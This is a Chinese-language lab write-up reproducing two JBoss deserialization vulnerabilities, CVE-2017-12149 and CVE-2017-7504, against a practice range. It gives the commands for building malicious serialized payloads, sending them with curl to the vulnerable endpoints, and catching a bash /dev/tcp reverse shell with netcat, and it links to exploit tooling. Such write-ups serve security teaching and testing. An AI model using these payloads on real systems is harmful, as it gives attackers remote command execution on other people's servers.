JBoss 4.x 5.x 6.xJBossMQ JMS 反序列化漏洞
文章目錄
Jboss反序列化漏洞利用CVE-2017-12149/CVE-2017-7504
- 基礎知識
- 漏洞原理
- 影響版本
- 復現思路
- 復現—CVE-2017-12149
- 1、特征檢測
- 2、反彈shell
- 復現—CVE-2017-7504
- 1、特征檢測
- 2、反彈shell
基礎知識
??序列化就是把對象轉換成字節流,便于保存在內存、文件、數據庫中;反序列化即逆過程,由字節流還原成對象。
??Java中的ObjectOutputStream類的writeObject()方法可以實現序列化,ObjectInputStream類的readObject()方法用于反序列化。
??形成漏洞的根源在于類ObjectInputStream在反序列化時,沒有對生成的對象的類型做限制。
漏洞原理
CVE-2017-12149
??漏洞影響5.x和6.x版本的JBOSSAS。該漏洞位于JBoss的HttpInvoker組件中的 ReadOnlyAccessFilter 過濾器中,其doFilter方法在沒有進行任何安全檢查和限制的情況下嘗試將來自客戶端的序列化數據流進行反序列化,導致攻擊者可以通過精心設計的序列化數據來執行任意代碼。
CVE-2017-7504
??JBoss AS 4.x及之前版本中,JbossMQ實現過程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,遠程攻擊者可借助特制的序列化數據利用該漏洞執行任意代碼。
影響版本
??CVE-2017-12149:JBoss AS 5.x和6.x版
??CVE-2017-7504:JBoss AS 4.x及之前版本
復現思路
復現—CVE-2017-12149
前情提要:云主機作為攻擊方,云主機內部靶場鏡像開啟JBOOS CVE-2017-12149漏洞容器作為受害方。
本文使用的腳本下載地址:
https://github.com/joaomatosf/JavaDeserH2HC
開啟漏洞環境主頁面:
1、特征檢測
端口掃描:
// 使用nmap掃描端口,檢測是否開啟該服務: nmap -p 1-65535 -A 目標 IP- 1
- 2
目錄拼接:
訪問 http://IP:port/invoker/readonly
若出現如上500報錯頁面,則說明符合特征,可能存在該漏洞。
2、反彈shell
腳本下載地址:
https://github.com/joaomatosf/JavaDeserH2HC
下載工具腳本,后進入工具目錄:
編譯并生成序列化數據:
- 1
- 2
ser全稱serialize,序列化惡意數據至文件:
// 執行下面命令會生成相應的.ser文件 java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 云主機IP:port(反彈shell使用的監聽端口)- 1
- 2
將該文件作為請求數據主體發送數據包,–data-binary 意為以二進制的方式post數據:
// curl 這個二進制文件發送payload curl http://目標 IP:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser- 1
- 2
監聽端口:
// 開啟監聽端口 nc -lvnp 6666- 1
- 2
過程截圖:
成功反彈(注:這里出現connect to [X.X.X.X] from x.x.x.x 后就可以直接執行命令了,博主以為卡死了等了好久,做了很多嘗試才發現已經連接成功了 QAQ)
復現—CVE-2017-7504
前情提要:云主機作為攻擊方,云主機內部靶場鏡像開啟JBOOS CVE-2017-7504漏洞容器作為受害方。
1、特征檢測
端口掃描:
// 使用nmap掃描端口,檢測是否開啟該服務: nmap -p 1-65535 -A 目標 IP- 1
- 2
目錄拼接:
訪問 http://IP:port/jbossmq-httpil/HTTPServerILServlet
2、反彈shell
進入上文中下載的工具腳本文件,編譯并生成序列化數據:
// 執行下面命令會生成相應的.class文件 javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java- 1
- 2
序列化惡意數據至文件:
// 執行下面命令會生成相應的.ser文件 java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java '/bin/bash -i>&/dev/tcp/云主機IP/監聽端口<&1' (反彈shell使用的監聽端口)- 1
- 2
將該文件作為請求數據主體發送數據包,–data-binary 意為以二進制的方式post數據:
// curl 這個二進制文件發送payload curl http://目標IP:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ExampleCommonsCollections1.ser- 1
- 2
監聽端口:
// 開啟監聽端口 nc -lvnp 6666- 1
- 2
過程截圖:
成功反彈~!
集成工具下載地址(還闊以,挺好用的):
https://github.com/joaomatosf/jexboss
總結
以上是生活随笔為你收集整理的JBoss 4.x 5.x 6.xJBossMQ JMS 反序列化漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: weblogic常见漏洞
- 下一篇: 日志分析-ip溯源